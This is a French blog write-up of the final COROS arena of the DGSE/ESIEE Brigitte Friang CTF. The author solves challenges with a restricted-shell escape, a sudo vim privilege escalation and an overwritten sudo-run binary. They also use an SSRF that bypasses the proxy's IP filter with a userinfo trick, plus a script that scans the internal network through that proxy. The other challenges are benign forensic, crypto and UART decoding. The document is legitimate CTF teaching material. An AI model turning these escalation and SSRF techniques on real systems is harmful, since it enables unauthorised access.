Challenge Brigitte Friang : Write-up (solutions) 3/3 – Arène COROS


Nous voici donc au dernier article de cette série, si vous souhaitez consulter les précédents, ils sont disponibles ici pour la catégorie web, et ici pour la catégorie Algo

Arène COROS CTF

La validation complète d’une des catégories précédentes nous permet d’accéder à l’arène du CTF.

Celle-ci nous permet d’accéder à différents challenges classés par catégories et rapportant plus ou moins de points.

Alone Muks – Exploit

On se connecte sur le serveur ssh -p 5004 user@challengecybersec.fr. Une fois les credentials entrées on se retrouve devant une nouvelle mire d’authentification. Là bonne surprise, un CTRL+C, nous donne accès à un shell. On s’aperçoit rapidement que le shell est restreint (pas de cat, ls, …).

On va essayer d’en savoir plus sur l’endroit où l’on est.

echo $PATH, echo * et echo bin/* nous permettent d’apprendre :

– Que notre PATH inclut le répertoire /home/user/bin

– Que le script de login est en python, et qu’il s’appelle login.py

– Que ce répertoire contient date et python

Lorsqu’on lance python on a donc une console python moins restreinte que le shell.

On peut rapidement l’utiliser pour obtenir un shell moins restreint :

$ python
>>> import os
>>> os.system('/bin/bash')

Le shell que nous obtenons alors n’est pas restreint, mais n’est pas tellement utilisable tant que nous n’avons pas modifié le PATH:

$ export PATH="/bin:/usr/bin"

Maintenant, on peut commencer à explorer…

$ ls /home
globalSystem  navigationSystem  user

$ ls -l /home/navigationSystem/
-r-------- 1 navigationSystem navigationSystem 43 Oct 25 17:52 flag.txt

Nous avons donc localisé le flag ! Il ne reste plus qu’à trouver devenir navigationSystem.

$ sudo -l
[...]
User user may run the following commands on ff0c65b88475:
    (globalSystem) NOPASSWD: /usr/bin/vim

Grâce au formidable index GTFOBins, on trouve facilement comment obtenir un shell avec l’utilisateur globalSystem :

sudo -u globalSystem vim -c ':!/bin/bash'

On a maintenant un shell en tant que globalSystem, recommençons l’opération :

$ sudo -l
[...]
User globalSystem may run the following commands on ff0c65b88475:
    (navigationSystem) NOPASSWD: /usr/bin/update

La commande /usr/bin/update demande un mot de passe, en récupérant le binaire et en l’examinant avec radare2, on s’aperçoit que le mot de passe est AloneIsTheBest, mais c’est une impasse, car une fois le bon mot de passe saisie, nous faisons face à une boucle infinie qui ne semble pas exploitable…

En revanche, en creusant un peu, on s’aperçoit que le programme /usr/bin/update est tout de même intéressant :

$ ls -l /usr/bin/update
-rwxr-xr-x 1 globalSystem globalSystem 47 Oct 31 20:32 /usr/bin/update

Il est accessible en écriture pour globalSystem, nous allons donc simplement remplacer son contenu :

$ cat > /usr/bin/update <<EOF
#!/bin/sh
cat /home/navigationSystem/flag.txt
EOF

$ sudo -u navigationSystem /usr/bin/update
DGSESIEE{44adfb64ff382f6433eeb03ed829afe0}

Et voilà ! Flag trouvé 🙂


Définition – Enigme Unix

Dans ce challenge, il faut envoyer l’heure en se connectant à la machine challengecybersec.fr 6660.

J’avais des doutes sur le format et l’éventuel fuseau horaire à utiliser.

La solution consiste simplement à envoyer le timestamp Unix de l’heure courante UTC.

$ date +%s | nc challengecybersec.fr 6660

Entrez la reponse :

 > Bravo ! Voici le flag : DGSESIEE{cb3b3481e492ccc4db7374274d23c659}


Sous l’océan – Forensic GPS

Dans ce challenge il faut parser les traces GPS d’un téléphone Android. Avec le script python parse.py ci-dessous, on transforme ces informations en trace GPX qu’on pourra ouvrir à partir du site GPS Visualizer.

Fichier parse.py

#!/usr/bin/env python3

import re
import gpxpy
import gpxpy.gpx

pattern = r'^\s*gps: Location\[gps (-?\d*\.\d*)[ ,](-?\d*\.\d*) [^ ]* [^ ]* alt=(\d\.\d).*$'
p = re.compile(pattern)
matches = 0

pos = []
with open('memdump.txt') as f:
    l = f.readline()
    while True:
        if l == None or len(l) == 0:
            break
        m = p.match(l)
        if m != None:
            matches += 1
            pos.append({'lon':float(m[1]),'lat':float(m[2]),'alt':float(m[3])})
            print(m)
        l = f.readline()

print('Found {} matches'.format(matches))
print(pos)

gpx = gpxpy.gpx.GPX()
gpx_track = gpxpy.gpx.GPXTrack()
gpx.tracks.append(gpx_track)
gpx_segment = gpxpy.gpx.GPXTrackSegment()
gpx_track.segments.append(gpx_segment)
for p in pos:
    gpx_segment.points.append(gpxpy.gpx.GPXTrackPoint(p['lat'], p['lon'], elevation=p['alt']))

print('Created GPX:', gpx.to_xml())
out = open('trace.gpx', 'w')
out.write(gpx.to_xml())
out.close()

Sur la capture, avec la trace, on devine (difficilement mais quand même) le texte esiee{OC34N}, vu le format du flag attendu, on teste : DGSESIEE{OC34N} et ça valide !


Chatbot – Web exploit

Le chatbot accessible à cette adresse ne nous propose pas beaucoup d’options… Néanmoins, on en trouve une intéressante, lorsqu’on lui envoie le message « Comment candidater ? », la réponse contient un aperçu du site qwant.

En passant par les outils de développement on voit qu’il passe par un proxy :

GET https://challengecybersec.fr/b34658e7f6221024f8d18a7f0d3497e4/proxy?url=https://www.qwant.com/
{"contents":"[...]", [...]}

Essayons avec une autre url en envoyant le message http://perdu.com au proxy. On constate que ça fonctionne également.

$ curl "https://challengecybersec.fr/b34658e7f6221024f8d18a7f0d3497e4/proxy?url=http://perdu.com"
{"contents":"<html><head><title>Vous Etes Perdu ?</title></head><body><h1>Perdu sur l'Internet ?</h1><h2>Pas de panique, on va vous aider</h2><strong><pre>    * <----- vous êtes ici</pre></strong></body></html>\n","title":"Vous Etes Perdu ?","icon":"Null"}

Après quelques essais on trouve : http://intranet/

GET https://challengecybersec.fr/b34658e7f6221024f8d18a7f0d3497e4/proxy?url=http://intranet/
{"contents":"<!DOCTYPE html>\n<html>\n<head>\n<title>Welcome to nginx!</title>\n<style>\n    body {\n        width: 35em;\n        margin: 0 auto;\n        font-family: Tahoma, Verdana, Arial, sans-serif;\n    }\n</style>\n</head>\n<body>\n<h1>Welcome to nginx!</h1>\n<p>If you see this page, the nginx web server is successfully installed and\nworking. Further configuration is required.</p>\n\n<p>For online documentation and support please refer to\n<a href=\"http://nginx.org/\">nginx.org</a>.<br/>\nCommercial support is available at\n<a href=\"http://nginx.com/\">nginx.com</a>.</p>\n\n<p><em>Thank you for using nginx.</em></p>\n</body>\n</html>\n","title":"Welcome to nginx!","icon":"Null"}

On voit qu’un nginx est exposé sur la machine intranet. On constate également un comportement particulier si on essaie d’accéder à une adresse IP de réseau local :

$ curl "https://challengecybersec.fr/b34658e7f6221024f8d18a7f0d3497e4/proxy?url=http://192.168.0.1"
Forbidden

Là, je dois dire merci à Mickaël qui m’a bien aidé alors que j’étais bloqué… Le Forbidden nous est retourné par le proxy qui ne veut pas accéder à une url qui commencerait par une IP. L’astuce consiste donc à exploiter le format de l’url pour la faire commencer par une donnée qui ne sera pas interprétée et bloquée par le proxy.

Exemple : http://intranet@192.168.0.1

De là, on va pouvoir explorer le réseau pour essayer de trouver le flag avec le script suivant explore.py suivant.

Fichier explore.py

#!/usr/bin/env python3

import requests

url = 'https://challengecybersec.fr/b34658e7f6221024f8d18a7f0d3497e4/proxy?url=http://{}'

for i in range(0,255):
    for j in range(1, 255):
        address = 'intranet@192.168.{}.{}'.format(i,j)
        resp = requests.get(url.format(address))
        print('{} - {} - {}'.format(address, resp.status_code, resp.text))

Lorsqu’on arrive à 192.168.0.70 on tombe sur une page intéressante :

192.168.0.70 - 200 - {"contents":"<!DOCTYPE html>\n<html>\n\n<head>\n  <meta charset=\"utf-8\">\n  <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n  <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\n  <link href=\"/35e334a1ef338faf064da9eb5f861d3c/fontawesome/css/all.min.css\" rel=\"stylesheet\">\n  <link href=\"/35e334a1ef338faf064da9eb5f861d3c/bootstrap/css/bootstrap.min.css\" rel=\"stylesheet\">\n  <link href=\"/35e334a1ef338faf064da9eb5f861d3c/css/style_index.css\" rel=\"stylesheet\">\n  <link rel=\"icon\" href=\"/35e334a1ef338faf064da9eb5f861d3c/img/favicon.ico\" />\n  <title>Evil Gouv intranet</title>\n</head>\n\n<body>\n  <div>\n    <h1>FLAG DGSESIEE{2cf1655ac88a52d3fe96cb60c371a838}</h1>\n</div>\n</body>\n/35e334a1ef338faf064da9eb5f861d3c/js/jquery-3.5.1.min.js\n/35e334a1ef338faf064da9eb5f861d3c/js/popper.min.js\n/35e334a1ef338faf064da9eb5f861d3c/js/bootstrap.min.js\n\n</html>","title":"Evil Gouv intranet","icon":"Null"}

Le flag est donc : DGSESIEE{2cf1655ac88a52d3fe96cb60c371a838}


Le discret Napier – Cryptographie Algo

En lisant cet énoncé, on voit qu’il s’agit de résoudre une équation. En cherchant un peu, on se rend compte qu’il ne s’agit vraiment pas d’un problème trivial.

Après avoir beaucoup cherché une implémentation fonctionnelle et capable de résoudre le problème dans un temps acceptable compte tenu de la taille des nombres j’ai fini par en trouver une ici.

Il ne reste plus qu’à l’appliquer :

Fichier next.py

#!/usr/bin/env python3

# https://github.com/efim-poberezkin/cryptography-stanford/blob/master/week-5-number-theory/dlog_meet_in_the_middle.py
from gmpy2 import add, f_mod, invert, mpz, mul, powmod


"""
We are given h mod p such that h = g^x, where 1 <= x <= 2^40.
Let b = 2^20. Since x  h/g^x1 = (g^b)^x0 mod p.

We can find solution using meet in the middle:
- Build a hash table of left hand side values h/g^x1 for x1 = 0, 1, ..., 2^20.
- For each x0 = 0, 1, ..., 2^20 check if (g^b)^x0 is in this hash table.
  If so, then solution is (x0, x1) and x = x0*b + x1.
"""


def main():
    r = 183512102249711162422426526694763570228
    n = 207419578609033051199924683129295125643
    d = 17
    
    p = n
    g = d
    h = r

    x = dlog(p, g, h)

    print(x)


# non optimized implementation
def dlog(p, g, h):
    b = 2 ** 20
    table = build_table(p, g, h, b)
    x0, x1 = lookup_table(p, g, b, table)
    x = add(mul(x0, b), x1)
    return x


def build_table(p, g, h, b):
    table = dict()
    for x1 in range(b):
        left_side_value = f_mod(mul(h, invert(powmod(g, x1, p), p)), p)
        table[left_side_value] = x1
    return table


def lookup_table(p, g, b, table):
    for x0 in range(b):
        right_side_value = powmod(powmod(g, b, p), x0, p)
        if right_side_value in table:
            x1 = table[right_side_value]
            return x0, x1


if __name__ == "__main__":
    main()

On va donc tester avec ça :

$ ./next.py
697873717765

ASCII UART – Reverse Hardware

À l’aide du script generate_wav.py ci-après j’ai pu générer un fichier wav qui ressemble fort à la capture d’un signal binaire :

J’ai ensuite complété ce script afin qu’il m’affiche directement le signal sous forme binaire.

Fichier generate_wav.py

#!/usr/bin/env python3

import wave
import sounddevice as sd
import soundfile as sf

filename = 'out.wav'
raw_signal = []
signal = []
current = 0
current_count = 0
with open('ascii_uart.raw', 'rb') as raw, wave.open(filename, 'wb') as out:
    out.setnchannels(1)
    out.setsampwidth(1)
    out.setframerate(44100.0)
    data = raw.read(1)
    while True:
        if int.from_bytes(data, byteorder='little') & 0x80 == 0x80:
            raw_signal.append(1)
            if current == 1:
                current_count += 1
            else:
                signal.append({'signal': 0, 'count': current_count})
                current = 1
                current_count = 0
        else:
            raw_signal.append(0)
            if current == 0:
                current_count += 1
            else:
                signal.append({'signal': 1, 'count': current_count})
                current = 0
                current_count = 0
        if data == b'':
            break

        out.writeframesraw(data)
        data = raw.read(1)
signal.append({'signal': current, 'count': current_count})

d = 637
b = ''
for e in signal:
    b += str(e['signal'])*round(e['count']/637)
print(b)

Le lancement du script permet de récupérer le signal.

$ ./generate_wav.py
000000000000000000000000000000111011101100000000000000000000000000100011101100000000000000000000000000100110101100000000000000000000000000101011101000000000000000000000000000100110101100000000000000000000000000101100101000000000000000000000000000101101101000000000000000000000000000101011101000000000000000000000000000101011101000000000000000000000000000100100001100000000000000000000000000111111011000000000000000000000000000111111111111111111111111111111111111111111111111110011101100100100100101001010010111010000010110000001111111111111000000000010100101110101000101001101110010011111101100111111011001110001011010000010110111101011101000110111010001101110100001011001011010110010000010110100001011001111110110011111101100111101011101100001010010000010110101001011101011010110011111101100111111011001111110110011111110100101000001101010010111010010001100101001011101010000111010100101110101001011101111110110011111101100111111011101111110110011111101100111101011101101010110011000010100100000101101100001010011010101100101101011001111110110011111101100111000101101000010011010000101100111111011001010000011000000000000000000000000000000000000000000000000000

L’énoncé nous donne un indice quant à son interprétation, il s’agit du protocole UART. Malheureusement, après l’avoir examiné sous plusieurs angles je n’ai rien réussi à en sortir…

Jusqu’à ce que je me dise qu’il était peut-être simplement inversé. 

En le transformant avec la commande suivante :

$ cat signal | tr '01' '10'  > signal.inverted

J’ai alors pu “découper” les mots du protocole, ils commencent par un 0 et se termine par un 1 en comprenant en 8 bits d’information plus un bit de parité.

Voici un extrait du résultat :

$ head signal.inverted
00010001001
01110001001
01100101001
01010001011
01100101001
01001101011
01001001011
01010001011
01010001011
01101111001

En prenant en compte que le protocole UART transmet les bits de poids faibles en premier, on peut identifier les caractères DGSESYIEE{.

J’ai donc écrit le script transcript.py qui permet d’interpréter ce fichier et d’en extraire les caractères ASCII.

#!/usr/bin/env python3

res = ""
with open("signal.inverted") as fin:
    row = fin.readline().strip()
    while True:
        if len(row) == 0:
            break
        try:
            clean = row.strip()[::-1][2:-1]
            c = chr(int(clean, 2))
        except:
            c = "."

        # print("{} - {} - {} - {}".format(row, clean, int(clean), c))
        res += c

        row = fin.readline().strip()

print(res)

Testons :

$./transcript.py
DGSESYIEE{ d[-_-]b  \_(''/)_/  (^_-)   @}-;-=--     (*^_^*)  \o/ }

Malheureusement, même si le résultat obtenu est très marrant, il ne permet pas de valider le challenge… Il doit encore nous manquer quelque chose.

Après quelques réflexions (et l’aide des messages de la plateforme), j’ai repensé au bit de parité et constaté que pour certains mots, celui-ci était incorrect. En ignorant les mots concernés on obtient le flag suivant, qui permet de valider l’épreuve :

DGSESIEE{ d[-_-]b  \_(''/)_/  (^_-)   @}-;---    (*^_^*)  \o/ }

Conclusion

J’ai beaucoup aimé ce challenge, les références à OSS117, la narration qui l’entourent permettent de s’y plonger comme dans un jeu en ce qui me concerne.

C’est certes prenant, mais on apprend tellement de choses au passage.

J’ai terminé 128ème sur 782 qui sont arrivés jusqu’à la plateforme COROS, 33000 en tout, en réalisant le challenge majoritairement seul et en y consacrant environ 40h je pense. Grand merci à Mickaël et Charles-Henri qui m’ont bien aidé sur certaines épreuves.

À noter que certaines équipes avaient terminé l’ensemble des challenges en moins de 3 jours… Bravo à eux !

De mon côté, il y a une certaine marge de progression 😉

Merci à la DGSE et à l’ESIEE pour le challenge et rendez-vous pour le prochain 🙂


Découvrez toutes nos formations Sécurité

Une réflexion sur “Challenge Brigitte Friang : Write-up (solutions) 3/3 – Arène COROS

Laisser un commentaire

Ce site utilise Akismet pour réduire les indésirables. En savoir plus sur comment les données de vos commentaires sont utilisées.

%d blogueurs aiment cette page :